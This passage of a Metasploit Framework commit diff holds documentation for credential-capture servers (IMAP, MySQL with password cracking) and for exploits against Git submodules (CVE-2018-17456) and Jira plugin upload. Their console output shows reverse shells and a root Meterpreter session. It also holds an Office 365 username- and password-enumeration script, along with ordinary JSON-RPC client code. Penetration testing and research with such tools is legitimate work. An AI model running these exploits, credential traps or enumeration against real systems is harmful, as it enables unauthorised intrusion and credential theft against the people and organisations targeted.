41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+QeDVKtz8ZChLSqSwmz/5yFttRyZlDu
XA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GYpdMpLh7/AgMBAAGjUzBRMB0GA1Ud
DgQWBBRezbFZBumaJ/MViZqqbllYrPomMzAfBgNVHSMEGDAWgBRezbFZBumaJ/MV
iZqqbllYrPomMzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd
Smkooa2nhdDdu3/uHX8vhDC0ns5qotgd0YKGkj/QyzNP+ruP1cyq/q67zand/Eq8
gF+lHk+pX8GM0WvI7ypgrK956YCdmh3DULBFDu5RxVABFWrGedfNy6TKLTps0PXR
9mdB/HK0Msr6Mh/o5PkUhb1fx0T3NUwF1EFte7Nsq10Mq+hYVnEqDeEGMlb73frJ
729tCjNpFoLGdlgEcAEFelAujV0w4oj35CE2Fh3b+4wupDiulfgg9E7FtvS9xK0P
l/m7Kka0n7lXnKo+IFSJ0dTooBvwaV7+4tEGuHxWJsNO+2aex9qFCuDUdBFxyWyK
uBVlsY6F7EjTfWpxwyVP
-----END CERTIFICATE-----
msf5 > use auxiliary/server/capture/imap
msf5 auxiliary(server/capture/imap) > set ssl true
ssl => true
msf5 auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem
sslcert => /root/metasploit-framework/selfsigned.pem
msf5 auxiliary(server/capture/imap) > set srvport 993
srvport => 993
msf5 auxiliary(server/capture/imap) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/imap) >
[*] Started service listener on 0.0.0.0:993
[*] Server started.
[+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd"
```
Clients:
```
root@kali:~# cat ~/.muttrc
set spoolfile="imaps://johndoe:p455w0rd@127.0.0.1/INBOX"
set folder="imaps://127.0.0.1/INBOX"
set record="=Sent"
set postponed="=Drafts"
root@kali:~# mutt
```
The user is prompted about the invalid certificate, and the client gets stuck at "Logging in...", however
it doesn't matter since the credentials have already been sent.

View File

@ -0,0 +1,72 @@
This module creates a mock MySQL server which accepts credentials. Upon receiving a login attempt, an `ERROR 1045 (2800): Access denied` error is thrown.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/mysql```
3. Do: ```run```
## Options
**CHALLENGE**
The MySQL 16 byte challenge used in the authentication. Default is `112233445566778899AABBCCDDEEFF1122334455`.
**JOHNPWFILE**
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
**CAINPWFILE**
Write a file containing a Cain & Abel format for cracking the credentials. Default is ``.
**SRVVERSION**
The MySQL version to print in the login banner. Default is `5.5.16`.
**SSL**
Boolean if SSL should be used. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is ``.
## Scenarios
### MySQL with MySQL Client and JTR Cracking
Server:
```
msf5 > use auxiliary/server/capture/mysql
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
johnpwfile => /tmp/mysql.logins
msf5 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/mysql) >
[*] Started service listener on 0.0.0.0:3306
[*] Server started.
[+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e
```
Client:
```
root@kali:~# mysql -u admin -ppassword1 -h 127.0.0.1
ERROR 1045 (28000): Access denied for user 'admin'@'127.0.0.1' (using password: YES)
```
JTR:
```
root@kali:~# john /tmp/mysql.logins_mysqlna
Using default input encoding: UTF-8
Loaded 1 password hashes with no different salts (mysqlna, MySQL Network Authentication [SHA1 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (admin)
1g 0:00:00:00 DONE 2/3 (2018-11-08 21:05) 20.00g/s 16800p/s 16800c/s 16800C/s password1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

View File

@ -0,0 +1,87 @@
## Description
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.
This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
## Vulnerable Application
Git can be installed on a variety of operating systems, however
newer versions will contain the patch for this vulnerability.
On OSX it can be installed with the XCode command line tools:
`xcode-select --install`
On Linux it can be installed with apt:
`sudo apt-get update && sudo apt-get install git`
You can check the version with `git --version`.
The fix is included in the following version:
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/git_submodule_url_exec`
1. Do: `set LHOST [local host]`
1. Do: `exploit`
1. Clone the malicious Git URI and its submodules (e.g `git clone --recurse-submodules GIT_URL`)
1. You should get a shell
## Options
**GIT_URI**
This is the URI the git repository will be hosted from (defaults to random).
**GIT_SUBMODULE**
This is the URI of the submodule within the git repository (defaults to random).
The url of this submodule, when cloned, will execute the payload.
## Scenarios
```
msf5 > use exploit/multi/http/git_submodule_url_exec
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000
```
On the victim side:
```
git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
Cloning into 'ogkvs'...
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr'. Retry scheduled
Cloning into 'lr'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr' a second time, aborting
```

View File

@ -0,0 +1,62 @@
## Description
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
## Vulnerable Application
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
To set up a vulnerable installation:
1. Build the Atlassian SDK environment. Instructions can be found below:
- Windows:
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
- Linux/Mac:
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
2. Create a shell Jira plugin and launch the SDK. Instructions can be found below:
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
## Verification Steps
1. Install Atlassian SDK/Jira environment.
2. Browse to localhost:2990/jira/ to confirm successful deployment.
3. Start msfconsole: ```msfconsole -q```
4. Do: ```use exploit/multi/http/jira_plugin_upload```
5. Do: ```set rhost [IP]```
6. Check credentials and UPM access: ```check```
7. Do: ```exploit```
8. You should get a shell.
## Scenarios
Successful exploitation:
```
msf > use exploit/multi/http/jira_plugin_upload
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(multi/http/jira_plugin_upload) > check
[*] Server accepted the credentials, user has access to plugin manager!
[*] 127.0.0.1:2990 The target appears to be vulnerable.
msf exploit(multi/http/jira_plugin_upload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Retrieving Session ID and XSRF token...
[*] Attempting to upload UlDRthpT
[*] Successfully uploaded UlDRthpT
[*] Executing UlDRthpT
[*] Deleting UlDRthpT
[*] Sending stage (53837 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
meterpreter > getuid
Server username: root
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
msf exploit(multi/http/jira_plugin_upload) >
```

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
module Msf
# This mixin provides helper functions for building Git repositories
module Exploit::Git
# Generate a commit message using fake names and emails
def fake_commit_message
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
commit
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
end
end

View File

@ -68,6 +68,7 @@ require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport'
require 'msf/core/exploit/sip'
require 'msf/core/exploit/tincd'
require 'msf/core/exploit/git'
# Telephony
require 'msf/core/exploit/dialup'

View File

@ -174,7 +174,7 @@ class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge
def initialize(module_path, framework: nil)
super
pythonpath = ENV['PYTHONPATH'] || ''
self.env = self.env.merge({ 'PYTHONPATH' => pythonpath + File::PATH_SEPARATOR + File.expand_path('../python', __FILE__) })
self.env = self.env.merge({ 'PYTHONPATH' => File.expand_path('../python', __FILE__) + File::PATH_SEPARATOR + pythonpath})
end
end
@ -198,7 +198,7 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge
def initialize(module_path, framework: nil)
super
gopath = ENV['GOPATH'] || ''
self.env = self.env.merge({ 'GOPATH' => gopath + File::PATH_SEPARATOR + File.expand_path('../go', __FILE__) })
self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath})
self.cmd = ['go', 'run', self.path]
end
end

View File

@ -17,12 +17,16 @@ module Msf::RPC
module JSON
autoload :Client, 'msf/core/rpc/json/client'
autoload :Dispatcher, 'msf/core/rpc/json/dispatcher'
autoload :DispatcherHelper, 'msf/core/rpc/json/dispatcher_helper'
autoload :Request, 'msf/core/rpc/json/request'
autoload :Response, 'msf/core/rpc/json/response'
autoload :RpcCommand, 'msf/core/rpc/json/rpc_command'
autoload :RpcCommandFactory, 'msf/core/rpc/json/rpc_command_factory'
# exception classes
# server
autoload :Error, 'msf/core/rpc/json/error'
autoload :ParseError, 'msf/core/rpc/json/error'
autoload :InvalidRequest, 'msf/core/rpc/json/error'
@ -31,5 +35,11 @@ module Msf::RPC
autoload :InternalError, 'msf/core/rpc/json/error'
autoload :ServerError, 'msf/core/rpc/json/error'
autoload :ApplicationServerError, 'msf/core/rpc/json/error'
# client
autoload :ClientError, 'msf/core/rpc/json/error'
autoload :InvalidResponse, 'msf/core/rpc/json/error'
autoload :JSONParseError, 'msf/core/rpc/json/error'
autoload :ErrorResponse, 'msf/core/rpc/json/error'
end
end

View File

@ -0,0 +1,80 @@
require 'json'
require 'uri'
require 'msf/core/rpc'
module Msf::RPC::JSON
# JSON-RPC Client
# All client method call requests must be dispatched from within an
# EventMachine (reactor) run loop.
class Client
attr_reader :uri
attr_reader :api_token
attr_reader :symbolize_names
attr_accessor :namespace
# Instantiate a Client.
# @param uri [String] the JSON-RPC service URI
# @param api_token [String] the API token. Default: nil
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
# be prepended to the method name with a period separator. Default: nil
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
# @param verify_peer [Boolean] indicates whether a server should request a certificate
# from a peer, to be verified by user code. Default: nil
def initialize(uri, api_token: nil, namespace: nil, symbolize_names: true,
private_key_file: nil, cert_chain_file: nil, verify_peer: nil)
@uri = URI.parse(uri)
@api_token = api_token
@namespace = namespace
@symbolize_names = symbolize_names
@private_key_file = private_key_file
@cert_chain_file = cert_chain_file
@verify_peer = verify_peer
end
private
# Invoked by Ruby when obj is sent a message it cannot handle, then processes
# the call as an RPC method invocation.
# @param symbol [Symbol] the symbol for the method called
# @param args [Array] any positional arguments passed to the method
# @param keyword_args [Hash] any keyword arguments passed to the method
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
def method_missing(symbol, *args, **keyword_args, &block)
# assemble method parameters
if !args.empty? && !keyword_args.empty?
params = args << keyword_args
elsif !args.empty?
params = args
elsif !keyword_args.empty?
params = keyword_args
else
params = nil
end
process_call_async(symbol, params)
end
# Asynchronously processes the RPC method invocation.
# @param method [Symbol] the method
# @param params [Array, Hash] any arguments passed to the method
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
def process_call_async(method, params)
req = Request.new(@uri,
api_token: @api_token,
method: method,
params: params,
namespace: @namespace,
symbolize_names: @symbolize_names,
private_key_file: @private_key_file,
cert_chain_file: @cert_chain_file,
verify_peer: @verify_peer)
req.send
req
end
end
end

View File

@ -120,7 +120,7 @@ module Msf::RPC::JSON
# Validate the JSON-RPC request.
# @param request [Hash] the JSON-RPC request
# @returns [Boolean] true if the JSON-RPC request is a valid; otherwise, false.
# @returns [Boolean] true if the JSON-RPC request is valid; otherwise, false.
def validate_rpc_request(request)
# validate request is an object
return false unless request.is_a?(Hash)

View File

@ -133,4 +133,94 @@ module Msf::RPC::JSON
super(APPLICATION_SERVER_ERROR, ERROR_MESSAGES[APPLICATION_SERVER_ERROR] % {msg: message}, data: data)
end
end
# Base class for all Msf::RPC::JSON client exceptions.
class ClientError < StandardError
attr_reader :response
# Instantiate a ClientError object.
#
# @param message [String] A String providing a short description of the error.
# @param response [Hash] A response hash. The default value is nil.
def initialize(message = nil, response: nil)
super(message)
@response = response
end
end
class InvalidResponse < ClientError
# Instantiate an InvalidResponse object.
#
# @param message [String] A String providing a short description of the error.
# @param response [Hash] A response hash. The default value is nil.
def initialize(message = 'Invalid response from server', response: nil)
super(message, response: response)
end
end
class JSONParseError < ClientError
# Instantiate an JSONParseError object.
#
# @param message [String] A String providing a short description of the error.
# @param response [Hash] A response hash. The default value is nil.
def initialize(message = 'Invalid JSON was received from the server', response: nil)
super(message, response: response)
end
end
class ErrorResponse < ClientError
attr_reader :id
attr_reader :code
attr_reader :message
attr_reader :data
# Parse response and return a new ErrorResponse instance.
# @param response [Hash] A response hash.
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @returns [ErrorResponse] ErrorResponse object that represents the response hash.
def self.parse(response, symbolize_names: true)
id_key = symbolize_names ? :id : :id.to_s
error_key = symbolize_names ? :error : :error.to_s
code_key = symbolize_names ? :code : :code.to_s
message_key = symbolize_names ? :message : :message.to_s
data_key = symbolize_names ? :data : :data.to_s
id = response[id_key]
error = response[error_key]
if !error.nil?
code = error[code_key]
message = error[message_key]
data = error[data_key]
else
code = nil
message = nil
data = nil
end
ErrorResponse.new(id: id, code: code, message: message, data: data, response: response)
end
# Instantiate an ErrorResponse object.
#
# @param id [Integer, String, NilClass] It MUST be the same as the value of the
# id member in the Request Object. If there was an error in detecting the id
# in the Request object (e.g. Parse error/Invalid Request), it MUST be Null.
# @param code [Integer] A Number that indicates the error type that occurred.
# @param message [String] A String providing a short description of the error.
# The message SHOULD be limited to a concise single sentence.
# @param data [Object] A Primitive or Structured value that contains additional
# information about the error. This may be omitted. The value of this member is
# defined by the Server (e.g. detailed error information, nested errors etc.).
# The default value is nil.
# @param response [Hash] A response hash. The default value is nil.
def initialize(id:, code:, message:, data: nil, response: nil)
super(message, response: response)
@id = id
@code = code
@message = message
@data = data
end
end
end

View File

@ -0,0 +1,227 @@
require 'em-http-request'
require 'json'
require 'msf/core/rpc'
module Msf::RPC::JSON
# Represents a JSON-RPC request. This is an EM::Deferrable class and instances
# respond to #callback and #errback to store callback actions.
class Request
include EM::Deferrable
JSON_MEDIA_TYPE = 'application/json'
JSON_RPC_VERSION = '2.0'
JSON_RPC_RESPONSE_REQUIRED_MEMBERS = %i(jsonrpc id)
JSON_RPC_RESPONSE_MEMBER_TYPES = {
# A String specifying the version of the JSON-RPC protocol.
jsonrpc: [String],
# An identifier established by the Client that MUST contain a String,
# Number, or NULL value if included. If it is not included it is assumed
# to be a notification. The value SHOULD normally not be Null [1] and
# Numbers SHOULD NOT contain fractional parts [2]
id: [Integer, String, NilClass],
}
JSON_RPC_ERROR_RESPONSE_REQUIRED_MEMBERS = %i(code message)
JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES = {
# A Number that indicates the error type that occurred.
# This MUST be an integer.
code: [Integer],
# A String providing a short description of the error.
# The message SHOULD be limited to a concise single sentence.
message: [String]
}
# Instantiate a Request.
# @param uri [URI::HTTP] the JSON-RPC service URI
# @param api_token [String] the API token. Default: nil
# @param method [String] the JSON-RPC method name.
# @param params [Array, Hash] the JSON-RPC method parameters. Default: nil
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
# be prepended to the method name with a period separator. Default: nil
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @param is_notification [Boolean] If true, the request is created as a notification;
# otherwise, a standard request. Default: false
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
# @param verify_peer [Boolean] indicates whether a server should request a certificate
# from a peer, to be verified by user code. Default: nil
def initialize(uri, api_token: nil, method:, params: nil, namespace: nil,
symbolize_names: true, is_notification: false,
private_key_file: nil, cert_chain_file: nil, verify_peer: nil)
@uri = uri
@api_token = api_token
@namespace = namespace
@symbolize_names = symbolize_names
@is_notification = is_notification
@headers = {
'Accept': JSON_MEDIA_TYPE,
'Content-Type': JSON_MEDIA_TYPE,
'Authorization': "Bearer #{@api_token}"
}
absolute_method_name = @namespace.nil? ? method : "#{@namespace}.#{method}"
request_msg = {
jsonrpc: JSON_RPC_VERSION,
method: absolute_method_name
}
request_msg[:id] = Request.generate_id unless is_notification
request_msg[:params] = params unless params.nil?
@request_options = {
head: @headers,
body: request_msg.to_json
}
# add SSL options if specified
if !private_key_file.nil? || !cert_chain_file.nil? || verify_peer.is_a?(TrueClass) ||
verify_peer.is_a?(FalseClass)
ssl_options = {}
ssl_options[:private_key_file] = private_key_file unless private_key_file.nil?
ssl_options[:cert_chain_file] = cert_chain_file unless cert_chain_file.nil?
ssl_options[:verify_peer] = verify_peer if verify_peer.is_a?(TrueClass) || verify_peer.is_a?(FalseClass)
@request_options[:ssl] = ssl_options
end
end
# Sends the JSON-RPC request using an EM::HttpRequest object, then validates and processes
# the JSON-RPC response.
def send
http = EM::HttpRequest.new(@uri).post(@request_options)
http.callback do
process(http.response)
end
http.errback do
fail(http.error)
end
end
private
# Process the JSON-RPC response.
# @param source [String] the JSON-RPC response
def process(source)
begin
response = JSON.parse(source, symbolize_names: @symbolize_names)
if response.is_a?(Array)
# process batch response
# TODO: implement batch response processing
fail("#{self.class.name}##{__method__} is not implemented for batch response")
else
process_response(response)
end
rescue JSON::ParserError
fail(JSONParseError.new(response: source))
end
end
# Validate and process the JSON-RPC response.
# @param response [Hash] the JSON-RPC response
def process_response(response)
if !valid_rpc_response?(response)
fail(InvalidResponse.new(response: response))
return
end
error_key = @symbolize_names ? :error : :error.to_s
if response.key?(error_key)
# process error response
fail(ErrorResponse.parse(response, symbolize_names: @symbolize_names))
else
# process successful response
succeed(Response.parse(response, symbolize_names: @symbolize_names))
end
end
# Validate the JSON-RPC response.
# @param response [Hash] the JSON-RPC response
# @returns [Boolean] true if the JSON-RPC response is valid; otherwise, false.
def valid_rpc_response?(response)
# validate response is an object
return false unless response.is_a?(Hash)
JSON_RPC_RESPONSE_REQUIRED_MEMBERS.each do |member|
tmp_member = @symbolize_names ? member : member.to_s
return false unless response.key?(tmp_member)
end
# validate response members are correct types
response.each do |member, value|
tmp_member = @symbolize_names ? member : member.to_sym
return false if JSON_RPC_RESPONSE_MEMBER_TYPES.key?(tmp_member) &&
!JSON_RPC_RESPONSE_MEMBER_TYPES[tmp_member].one? { |type| value.is_a?(type) }
end
return false if response[:jsonrpc] != JSON_RPC_VERSION
result_key = @symbolize_names ? :result : :result.to_s
error_key = @symbolize_names ? :error : :error.to_s
return false if response.key?(result_key) && response.key?(error_key)
if response.key?(error_key)
error_response = response[error_key]
# validate error response is an object
return false unless error_response.is_a?(Hash)
JSON_RPC_ERROR_RESPONSE_REQUIRED_MEMBERS.each do |member|
tmp_member = @symbolize_names ? member : member.to_s
return false unless error_response.key?(tmp_member)
end
# validate error response members are correct types
error_response.each do |member, value|
tmp_member = @symbolize_names ? member : member.to_sym
return false if JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES.key?(tmp_member) &&
!JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES[tmp_member].one? { |type| value.is_a?(type) }
end
end
true
end
# Generates a random id.
# @param n [Integer] Upper boundary for the random id.
# @return [Integer] A random id. If a positive integer is given for n,
# returns an integer: 0 <= id < n.
def self.generate_id(n = (2**(0.size * 8 - 1))-1)
SecureRandom.random_number(n)
end
end
# Represents a JSON-RPC Notification. This is an EM::Deferrable class and
# instances respond to #callback and #errback to store callback actions.
class Notification < Request
# Instantiate a Notification.
# @param uri [URI::HTTP] the JSON-RPC service URI
# @param api_token [String] the API token. Default: nil
# @param method [String] the JSON-RPC method name.
# @param params [Array, Hash] the JSON-RPC method parameters. Default: nil
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
# be prepended to the method name with a period separator. Default: nil
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
# @param verify_peer [Boolean] indicates whether a server should request a certificate
# from a peer, to be verified by user code. Default: nil
def initialize(uri, api_token: nil, method:, params: nil, namespace: nil,
symbolize_names: true, private_key_file: nil,
cert_chain_file: nil, verify_peer: nil)
super(uri,
api_token: api_token,
method: method,
params: params,
namespace: namespace,
symbolize_names: symbolize_names,
is_notification: true,
private_key_file: private_key_file,
cert_chain_file: cert_chain_file,
verify_peer: verify_peer)
end
end
end

View File

@ -0,0 +1,37 @@
module Msf::RPC::JSON
# Represents a JSON-RPC response.
class Response
attr_reader :response
attr_reader :id
attr_reader :result
# Parse response and return a new Response instance.
# @param response [Hash] A response hash.
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @returns [Response] Response object that represents the response hash.
def self.parse(response, symbolize_names: true)
id_key = symbolize_names ? :id : :id.to_s
result_key = symbolize_names ? :result : :result.to_s
id = response[id_key]
result = response[result_key]
Response.new(id: id, result: result, response: response)
end
# Instantiate a Response object.
#
# @param id [Integer, String, NilClass] It MUST be the same as the value of the
# id member in the Request Object. If there was an error in detecting the id
# in the Request object (e.g. Parse error/Invalid Request), it MUST be Null.
# @param result [Integer, String, Array, Hash, NilClass] Result of the method.
# @param response [Hash] A response hash. The default value is nil.
def initialize(id:, result:, response: nil)
@id = id
@result = result
@response = response
end
end
end

View File

@ -105,6 +105,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'sinatra'
spec.add_runtime_dependency 'sysrandom'
spec.add_runtime_dependency 'warden'
# Required for JSON-RPC client
spec.add_runtime_dependency 'em-http-request'
# TimeZone info
spec.add_runtime_dependency 'tzinfo-data'
# Gem for dealing with SSHKeys

View File

@ -0,0 +1,453 @@
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
'''
. .1111... | Title: office365userenum.py
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
.00 000... | Email: oliverm@sec-1.com
1 01.. | Description:
.. | Enumerate valid usernames from Office 365 using
.. | ActiveSync.
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
.. |
grimhacker.com .. |
@grimhacker .. |
----------------------------------------------------------------------------
office365userenum - Office 365 Username Enumerator
Copyright (C) 2015 Oliver Morton (Sec-1 Ltd)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
'''
__version__ = "$Revision: 3.0$"
# $Source$
import argparse
import threading
import logging
import sys
if sys.version_info <= (3, 0):
import Queue as queue
else:
import queue
dependencies_missing = False
try:
import requests
except ImportError as e:
print("Missing Dependency! python-requests required!")
dependencies_missing = True
VALID_USER = "VALID_USER"
INVALID_USER = "INVALID_USER"
VALID_PASSWD_2FA = "VALID_PASSWD_2FA"
VALID_LOGIN = "VALID_LOGIN"
UNKNOWN = "UNKNOWN"
DIE = "!!!AVADA KEDAVRA!!!"
SHUTDOWN_EVENT = threading.Event()
default_password = "Password1"
default_url = "https://outlook.office365.com/Microsoft-Server-ActiveSync"
default_max_threads = 10
default_timeout = 30
MSF = False
try:
from metasploit import module
MSF = True
metadata = {
'name': 'Office 365 User Enumeration',
'description': '''
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
- Valid Username (Response code 401)
- Valid Username and Password without 2FA (Response Code 200)
- Valid Username and Password with 2FA (Response Code 403)
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security
servicing". As such it is not expected to be fixed any time soon.
''',
'authors': [
'Oliver Morton (GrimHacker) <grimhacker@grimhacker.com>'
],
'date': '2018-09-05',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/'},
],
'type': 'single_scanner',
'options': {
'USERS': {
'type': 'string',
'description': 'Potential usernames file, one username per line',
'required': True,
'default': None
},
'OUTPUT': {
'type': 'string',
'description': 'Output file (will be appended to)',
'required': False,
'default': None
},
'PASSWORD': {
'type': 'string',
'description': 'Password to use during enumeration.',
'required': True,
'default': default_password
},
# TODO: MSF is adding RHOSTS automatically as a required option,
# if i rename URL to RHOSTS or RHOST the module breaks...
'URL': {
'type': 'string',
'description': 'ActiveSync URL',
'required': True,
'default': default_url
},
'THREADS': {
'type': 'int',
'description': 'Maximum threads',
'required': True,
'default': default_max_threads
},
'TIMEOUT': {
'type': 'int',
'description': 'HTTP Timeout',
'required': True,
'default': default_timeout
},
'VERBOSE': {
'type': 'bool',
'description': 'Debug logging',
'required': True,
'default': False
},
'LOGFILE': {
'type': 'string',
'description': 'Log file',
'required': False,
'default': None
},
# TODO: RPORT needs to exist or reporting the valid/invalid creds causes an error...
'RPORT': {
'type': 'int',
'description': 'IGNORE ME!',
'required': False,
'default': 443
}
}
}
except ImportError as e:
# Not running under metasploit
pass
def check_user(url, user, password, timeout):
"""Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
headers = {"MS-ASProtocolVersion": "14.0"}
auth = (user, password)
try:
r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
except Exception as e:
msg = "error checking {} : {}".format(user, e)
if MSF:
module.log(msg, "error")
else:
logging.error(msg)
return user, UNKNOWN, None
status = r.status_code
if status == 401:
return user, password, VALID_USER, r
elif status == 404:
if r.headers.get("X-CasErrorCode") == "UserNotFound":
return user, password, INVALID_USER, r
elif status == 403:
return user, VALID_PASSWD_2FA, r
elif status == 200:
return user, password, VALID_LOGIN, r
return user, password, UNKNOWN, r
def check_users(in_q, out_q, url, password, timeout):
"""Thread worker function which retrieves candidate username from input queue runs the check_user function and
outputs the result to the output queue."""
while not SHUTDOWN_EVENT.is_set():
try:
user = in_q.get()
except queue.Empty as e:
msg = "check_users: in_q empty"
